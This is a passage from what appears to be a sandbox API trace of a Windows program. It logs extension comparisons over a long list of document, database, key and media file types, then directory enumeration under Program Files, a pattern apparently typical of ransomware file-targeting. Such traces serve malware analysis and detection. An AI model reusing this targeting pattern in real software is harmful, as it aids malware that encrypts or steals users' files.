[0064.370] lstrlenW (lpString=".json") returned 5 [0064.370] lstrcmpiW (lpString1=".json", lpString2="n.xml") returned -1 [0064.370] lstrlenW (lpString=".jsp") returned 4 [0064.370] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0064.370] lstrlenW (lpString=".kdc") returned 4 [0064.370] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0064.370] lstrlenW (lpString=".kmz") returned 4 [0064.370] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0064.370] lstrlenW (lpString=".kwm") returned 4 [0064.370] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0064.370] lstrlenW (lpString=".lasso") returned 6 [0064.370] lstrcmpiW (lpString1=".lasso", lpString2="an.xml") returned -1 [0064.370] lstrlenW (lpString=".lbi") returned 4 [0064.370] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0064.370] lstrlenW (lpString=".lgf") returned 4 [0064.370] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0064.370] lstrlenW (lpString=".lgp") returned 4 [0064.370] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0064.370] lstrlenW (lpString=".log") returned 4 [0064.370] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0064.370] lstrlenW (lpString=".m1v") returned 4 [0064.370] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0064.370] lstrlenW (lpString=".m4a") returned 4 [0064.370] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0064.370] lstrlenW (lpString=".m4v") returned 4 [0064.370] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0064.370] lstrlenW (lpString=".max") returned 4 [0064.370] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0064.370] lstrlenW (lpString=".md") returned 3 [0064.371] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0064.371] lstrlenW (lpString=".mda") returned 4 [0064.371] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0064.371] lstrlenW (lpString=".mdb") returned 4 [0064.371] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0064.371] lstrlenW (lpString=".mde") returned 4 [0064.371] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0064.371] lstrlenW (lpString=".mdf") returned 4 [0064.371] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0064.371] lstrlenW (lpString=".mdw") returned 4 [0064.371] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0064.371] lstrlenW (lpString=".mef") returned 4 [0064.371] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0064.371] lstrlenW (lpString=".mft") returned 4 [0064.371] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0064.371] lstrlenW (lpString=".mfw") returned 4 [0064.371] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0064.371] lstrlenW (lpString=".mht") returned 4 [0064.371] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0064.371] lstrlenW (lpString=".mhtml") returned 6 [0064.371] lstrcmpiW (lpString1=".mhtml", lpString2="an.xml") returned -1 [0064.371] lstrlenW (lpString=".mka") returned 4 [0064.371] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0064.371] lstrlenW (lpString=".mkidx") returned 6 [0064.371] lstrcmpiW (lpString1=".mkidx", lpString2="an.xml") returned -1 [0064.371] lstrlenW (lpString=".mkv") returned 4 [0064.371] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0064.371] lstrlenW (lpString=".mos") returned 4 [0064.371] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0064.371] lstrlenW (lpString=".mov") returned 4 [0064.372] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0064.372] lstrlenW (lpString=".mp3") returned 4 [0064.372] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0064.372] lstrlenW (lpString=".mp4") returned 4 [0064.372] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0064.372] lstrlenW (lpString=".mpeg") returned 5 [0064.372] lstrcmpiW (lpString1=".mpeg", lpString2="n.xml") returned -1 [0064.372] lstrlenW (lpString=".mpg") returned 4 [0064.372] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0064.372] lstrlenW (lpString=".mpv") returned 4 [0064.372] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0064.372] lstrlenW (lpString=".mrw") returned 4 [0064.372] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0064.372] lstrlenW (lpString=".msg") returned 4 [0064.372] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0064.372] lstrlenW (lpString=".mxl") returned 4 [0064.372] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0064.372] lstrlenW (lpString=".myd") returned 4 [0064.372] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0064.372] lstrlenW (lpString=".myi") returned 4 [0064.372] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0064.372] lstrlenW (lpString=".nef") returned 4 [0064.372] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0064.372] lstrlenW (lpString=".nrw") returned 4 [0064.372] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0064.372] lstrlenW (lpString=".obj") returned 4 [0064.372] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0064.372] lstrlenW (lpString=".odb") returned 4 [0064.372] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0064.373] lstrlenW (lpString=".odc") returned 4 [0064.373] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0064.373] lstrlenW (lpString=".odm") returned 4 [0064.373] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0064.373] lstrlenW (lpString=".odp") returned 4 [0064.373] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0064.373] lstrlenW (lpString=".ods") returned 4 [0064.373] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0064.373] lstrlenW (lpString=".oft") returned 4 [0064.373] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0064.373] lstrlenW (lpString=".one") returned 4 [0064.373] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0064.373] lstrlenW (lpString=".onepkg") returned 7 [0064.373] lstrcmpiW (lpString1=".onepkg", lpString2="dan.xml") returned -1 [0064.373] lstrlenW (lpString=".onetoc2") returned 8 [0064.373] lstrcmpiW (lpString1=".onetoc2", lpString2="sdan.xml") returned -1 [0064.373] lstrlenW (lpString=".opt") returned 4 [0064.373] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0064.373] lstrlenW (lpString=".oqy") returned 4 [0064.373] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0064.373] lstrlenW (lpString=".orf") returned 4 [0064.373] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0064.373] lstrlenW (lpString=".p12") returned 4 [0064.373] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0064.373] lstrlenW (lpString=".p7b") returned 4 [0064.373] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0064.373] lstrlenW (lpString=".p7c") returned 4 [0064.373] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0064.373] lstrlenW (lpString=".pam") returned 4 [0064.374] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0064.374] lstrlenW (lpString=".pbm") returned 4 [0064.374] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0064.374] lstrlenW (lpString=".pct") returned 4 [0064.374] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0064.374] lstrlenW (lpString=".pcx") returned 4 [0064.374] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0064.374] lstrlenW (lpString=".pdd") returned 4 [0064.374] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0064.374] lstrlenW (lpString=".pdf") returned 4 [0064.374] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.374] lstrlenW (lpString=".pdp") returned 4 [0064.374] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0064.374] lstrlenW (lpString=".pef") returned 4 [0064.374] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0064.374] lstrlenW (lpString=".pem") returned 4 [0064.374] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0064.374] lstrlenW (lpString=".pff") returned 4 [0064.374] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0064.374] lstrlenW (lpString=".pfm") returned 4 [0064.374] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0064.374] lstrlenW (lpString=".pfx") returned 4 [0064.374] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0064.374] lstrlenW (lpString=".pgm") returned 4 [0064.374] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0064.374] lstrlenW (lpString=".php") returned 4 [0064.374] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0064.374] lstrlenW (lpString=".php3") returned 5 [0064.374] lstrcmpiW (lpString1=".php3", lpString2="n.xml") returned -1 [0064.374] lstrlenW (lpString=".php4") returned 5 [0064.375] lstrcmpiW (lpString1=".php4", lpString2="n.xml") returned -1 [0064.375] lstrlenW (lpString=".php5") returned 5 [0064.375] lstrcmpiW (lpString1=".php5", lpString2="n.xml") returned -1 [0064.375] lstrlenW (lpString=".phtml") returned 6 [0064.375] lstrcmpiW (lpString1=".phtml", lpString2="an.xml") returned -1 [0064.375] lstrlenW (lpString=".pict") returned 5 [0064.375] lstrcmpiW (lpString1=".pict", lpString2="n.xml") returned -1 [0064.375] lstrlenW (lpString=".pl") returned 3 [0064.375] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0064.375] lstrlenW (lpString=".pls") returned 4 [0064.375] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0064.375] lstrlenW (lpString=".pm") returned 3 [0064.375] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0064.375] lstrlenW (lpString=".png") returned 4 [0064.375] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0064.375] lstrlenW (lpString=".pnm") returned 4 [0064.375] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0064.375] lstrlenW (lpString=".pot") returned 4 [0064.375] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0064.375] lstrlenW (lpString=".potm") returned 5 [0064.375] lstrcmpiW (lpString1=".potm", lpString2="n.xml") returned -1 [0064.375] lstrlenW (lpString=".potx") returned 5 [0064.375] lstrcmpiW (lpString1=".potx", lpString2="n.xml") returned -1 [0064.375] lstrlenW (lpString=".ppa") returned 4 [0064.375] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0064.375] lstrlenW (lpString=".ppam") returned 5 [0064.375] lstrcmpiW (lpString1=".ppam", lpString2="n.xml") returned -1 [0064.375] lstrlenW (lpString=".ppm") returned 4 [0064.375] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".pps") returned 4 [0064.376] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".ppsm") returned 5 [0064.376] lstrcmpiW (lpString1=".ppsm", lpString2="n.xml") returned -1 [0064.376] lstrlenW (lpString=".ppt") returned 4 [0064.376] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".pptm") returned 5 [0064.376] lstrcmpiW (lpString1=".pptm", lpString2="n.xml") returned -1 [0064.376] lstrlenW (lpString=".pptx") returned 5 [0064.376] lstrcmpiW (lpString1=".pptx", lpString2="n.xml") returned -1 [0064.376] lstrlenW (lpString=".prn") returned 4 [0064.376] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".ps") returned 3 [0064.376] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0064.376] lstrlenW (lpString=".psb") returned 4 [0064.376] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".psd") returned 4 [0064.376] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".pst") returned 4 [0064.376] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".ptx") returned 4 [0064.376] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".pub") returned 4 [0064.376] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".pwm") returned 4 [0064.376] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".pxr") returned 4 [0064.376] lstrcmpiW (lpString1=".pxr", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".py") returned 3 [0064.377] lstrcmpiW (lpString1=".py", lpString2="xml") returned -1 [0064.377] lstrlenW (lpString=".qt") returned 3 [0064.377] lstrcmpiW (lpString1=".qt", lpString2="xml") returned -1 [0064.377] lstrlenW (lpString=".r3d") returned 4 [0064.377] lstrcmpiW (lpString1=".r3d", lpString2=".xml") returned -1 [0064.377] lstrlenW (lpString=".raf") returned 4 [0064.377] lstrcmpiW (lpString1=".raf", lpString2=".xml") returned -1 [0064.377] lstrlenW (lpString=".rar") returned 4 [0064.377] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.377] lstrlenW (lpString=".raw") returned 4 [0064.377] lstrcmpiW (lpString1=".raw", lpString2=".xml") returned -1 [0064.377] lstrlenW (lpString=".rdf") returned 4 [0064.377] lstrcmpiW (lpString1=".rdf", lpString2=".xml") returned -1 [0064.377] lstrlenW (lpString=".rgbe") returned 5 [0064.377] lstrcmpiW (lpString1=".rgbe", lpString2="n.xml") returned -1 [0064.377] lstrlenW (lpString=".rle") returned 4 [0064.377] lstrcmpiW (lpString1=".rle", lpString2=".xml") returned -1 [0064.377] lstrlenW (lpString=".rqy") returned 4 [0064.377] lstrcmpiW (lpString1=".rqy", lpString2=".xml") returned -1 [0064.377] lstrlenW (lpString=".rss") returned 4 [0064.378] lstrcmpiW (lpString1=".rss", lpString2=".xml") returned -1 [0064.378] lstrlenW (lpString=".rtf") returned 4 [0064.378] lstrcmpiW (lpString1=".rtf", lpString2=".xml") returned -1 [0064.378] lstrlenW (lpString=".rw2") returned 4 [0064.378] lstrcmpiW (lpString1=".rw2", lpString2=".xml") returned -1 [0064.378] lstrlenW (lpString=".rwl") returned 4 [0064.378] lstrcmpiW (lpString1=".rwl", lpString2=".xml") returned -1 [0064.378] lstrlenW (lpString=".safe") returned 5 [0064.378] lstrcmpiW (lpString1=".safe", lpString2="n.xml") returned -1 [0064.378] lstrlenW (lpString=".sct") returned 4 [0064.378] lstrcmpiW (lpString1=".sct", lpString2=".xml") returned -1 [0064.378] lstrlenW (lpString=".sdpx") returned 5 [0064.378] lstrcmpiW (lpString1=".sdpx", lpString2="n.xml") returned -1 [0064.378] lstrlenW (lpString=".shtm") returned 5 [0064.378] lstrcmpiW (lpString1=".shtm", lpString2="n.xml") returned -1 [0064.378] lstrlenW (lpString=".shtml") returned 6 [0064.378] lstrcmpiW (lpString1=".shtml", lpString2="an.xml") returned -1 [0064.378] lstrlenW (lpString=".slk") returned 4 [0064.378] lstrcmpiW (lpString1=".slk", lpString2=".xml") returned -1 [0064.378] lstrlenW (lpString=".sln") returned 4 [0064.378] lstrcmpiW (lpString1=".sln", lpString2=".xml") returned -1 [0064.378] lstrlenW (lpString=".sql") returned 4 [0064.378] lstrcmpiW (lpString1=".sql", lpString2=".xml") returned -1 [0064.378] lstrlenW (lpString=".sr2") returned 4 [0064.378] lstrcmpiW (lpString1=".sr2", lpString2=".xml") returned -1 [0064.378] lstrlenW (lpString=".srf") returned 4 [0064.379] lstrcmpiW (lpString1=".srf", lpString2=".xml") returned -1 [0064.379] lstrlenW (lpString=".srw") returned 4 [0064.379] lstrcmpiW (lpString1=".srw", lpString2=".xml") returned -1 [0064.379] lstrlenW (lpString=".ssi") returned 4 [0064.379] lstrcmpiW (lpString1=".ssi", lpString2=".xml") returned -1 [0064.379] lstrlenW (lpString=".st") returned 3 [0064.379] lstrcmpiW (lpString1=".st", lpString2="xml") returned -1 [0064.379] lstrlenW (lpString=".stm") returned 4 [0064.379] lstrcmpiW (lpString1=".stm", lpString2=".xml") returned -1 [0064.379] lstrlenW (lpString=".svg") returned 4 [0064.379] lstrcmpiW (lpString1=".svg", lpString2=".xml") returned -1 [0064.379] lstrlenW (lpString=".svgz") returned 5 [0064.379] lstrcmpiW (lpString1=".svgz", lpString2="n.xml") returned -1 [0064.379] lstrlenW (lpString=".swf") returned 4 [0064.379] lstrcmpiW (lpString1=".swf", lpString2=".xml") returned -1 [0064.379] lstrlenW (lpString=".tab") returned 4 [0064.379] lstrcmpiW (lpString1=".tab", lpString2=".xml") returned -1 [0064.379] lstrlenW (lpString=".tar") returned 4 [0064.379] lstrcmpiW (lpString1=".tar", lpString2=".xml") returned -1 [0064.379] lstrlenW (lpString=".tbb") returned 4 [0064.379] lstrcmpiW (lpString1=".tbb", lpString2=".xml") returned -1 [0064.379] lstrlenW (lpString=".tbi") returned 4 [0064.379] lstrcmpiW (lpString1=".tbi", lpString2=".xml") returned -1 [0064.379] lstrlenW (lpString=".tbk") returned 4 [0064.379] lstrcmpiW (lpString1=".tbk", lpString2=".xml") returned -1 [0064.379] lstrlenW (lpString=".tdi") returned 4 [0064.379] lstrcmpiW (lpString1=".tdi", lpString2=".xml") returned -1 [0064.379] lstrlenW (lpString=".tga") returned 4 [0064.380] lstrcmpiW (lpString1=".tga", lpString2=".xml") returned -1 [0064.380] lstrlenW (lpString=".thmx") returned 5 [0064.380] lstrcmpiW (lpString1=".thmx", lpString2="n.xml") returned -1 [0064.380] lstrlenW (lpString=".tif") returned 4 [0064.380] lstrcmpiW (lpString1=".tif", lpString2=".xml") returned -1 [0064.380] lstrlenW (lpString=".tiff") returned 5 [0064.380] lstrcmpiW (lpString1=".tiff", lpString2="n.xml") returned -1 [0064.380] lstrlenW (lpString=".tld") returned 4 [0064.380] lstrcmpiW (lpString1=".tld", lpString2=".xml") returned -1 [0064.380] lstrlenW (lpString=".torrent") returned 8 [0064.380] lstrcmpiW (lpString1=".torrent", lpString2="sdan.xml") returned -1 [0064.380] lstrlenW (lpString=".tpl") returned 4 [0064.380] lstrcmpiW (lpString1=".tpl", lpString2=".xml") returned -1 [0064.380] lstrlenW (lpString=".txt") returned 4 [0064.380] lstrcmpiW (lpString1=".txt", lpString2=".xml") returned -1 [0064.380] lstrlenW (lpString=".u3d") returned 4 [0064.380] lstrcmpiW (lpString1=".u3d", lpString2=".xml") returned -1 [0064.380] lstrlenW (lpString=".udl") returned 4 [0064.380] lstrcmpiW (lpString1=".udl", lpString2=".xml") returned -1 [0064.380] lstrlenW (lpString=".uxdc") returned 5 [0064.380] lstrcmpiW (lpString1=".uxdc", lpString2="n.xml") returned -1 [0064.380] lstrlenW (lpString=".vb") returned 3 [0064.380] lstrcmpiW (lpString1=".vb", lpString2="xml") returned -1 [0064.380] lstrlenW (lpString=".vbs") returned 4 [0064.380] lstrcmpiW (lpString1=".vbs", lpString2=".xml") returned -1 [0064.380] lstrlenW (lpString=".vcs") returned 4 [0064.380] lstrcmpiW (lpString1=".vcs", lpString2=".xml") returned -1 [0064.380] lstrlenW (lpString=".vda") returned 4 [0064.380] lstrcmpiW (lpString1=".vda", lpString2=".xml") returned -1 [0064.380] lstrlenW (lpString=".vdr") returned 4 [0064.381] lstrcmpiW (lpString1=".vdr", lpString2=".xml") returned -1 [0064.381] lstrlenW (lpString=".vdw") returned 4 [0064.381] lstrcmpiW (lpString1=".vdw", lpString2=".xml") returned -1 [0064.381] lstrlenW (lpString=".vdx") returned 4 [0064.381] lstrcmpiW (lpString1=".vdx", lpString2=".xml") returned -1 [0064.381] lstrlenW (lpString=".vrp") returned 4 [0064.381] lstrcmpiW (lpString1=".vrp", lpString2=".xml") returned -1 [0064.381] lstrlenW (lpString=".vsd") returned 4 [0064.381] lstrcmpiW (lpString1=".vsd", lpString2=".xml") returned -1 [0064.381] lstrlenW (lpString=".vss") returned 4 [0064.381] lstrcmpiW (lpString1=".vss", lpString2=".xml") returned -1 [0068.295] FindNextFileW (in: hFindFile=0x3ed1460, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.295] FindNextFileW (in: hFindFile=0x3ed1460, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0068.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed1560 [0068.297] FindNextFileW (in: hFindFile=0x3ed1560, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.298] FindNextFileW (in: hFindFile=0x3ed1560, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0075.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed12a0 [0076.006] FindNextFileW (in: hFindFile=0x3ed12a0, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.006] FindNextFileW (in: hFindFile=0x3ed12a0, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0076.006] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed1520 [0076.131] FindNextFileW (in: hFindFile=0x3ed1520, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.131] FindNextFileW (in: hFindFile=0x3ed1520, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3R.SAM", cAlternateFileName="")) returned 1 [0076.132] FindClose (in: hFindFile=0x3ed1520 | out: hFindFile=0x3ed1520) returned 1 [0076.132] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39346e0 | out: hHeap=0x4b0000) returned 1 [0076.132] FindNextFileW (in: hFindFile=0x3ed12a0, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3.SAM", cAlternateFileName="")) returned 1 [0076.133] FindClose (in: hFindFile=0x3ed12a0 | out: hFindFile=0x3ed12a0) returned 1 [0076.133] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006c8 | out: hHeap=0x4b0000) returned 1 [0076.133] FindNextFileW (in: hFindFile=0x3ed1420, lpFindFileData=0x33ef58c | out: lpFindFileData=0x33ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1 [0076.134] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, 